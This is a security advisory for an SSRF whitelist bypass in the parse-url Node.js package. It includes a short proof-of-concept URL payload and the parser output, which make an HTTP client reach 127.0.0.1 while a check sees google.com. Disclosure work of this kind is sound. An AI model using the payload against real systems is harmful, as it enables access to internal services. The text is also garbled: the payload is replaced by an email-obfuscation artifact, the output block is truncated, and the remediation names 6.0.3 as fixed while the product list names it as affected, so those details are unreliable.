Summary
Whitelist bypasses in parse-url.
Product
parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.
Impact
This vulnerability is capable of blacklist / whitelist SSRF bypasses
Steps to reproduce
The following PoC shows how if parse-url is used to check the resource of a URL against a whitelist, we can bypass a whitelist check for google.com, and then convince the standard HTTP client in NodeJS to make a request to 127.0.0.1.
const http = require('http')
const url = parse("http:[email protected]://google.com")
if (url.resource === "google.com") {
http.get(url.href)
}Expected result:
This is due to parse-url will only locate the resource section only after :// whilst other URL parsers such as the WHATWG URL parser will stop the resource section at :
protocols: [ 'http:', '@127.0.0.1' ],
protocol: 'http:',
port: null,
resource: 'google.com',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http:[email protected]://google.com',
query: [Object: null prototype] {}
}Remediation
Update parse-url to 6.0.1 or 6.0.3.
Credit
This issue was reported by @haxatron through huntr.dev.
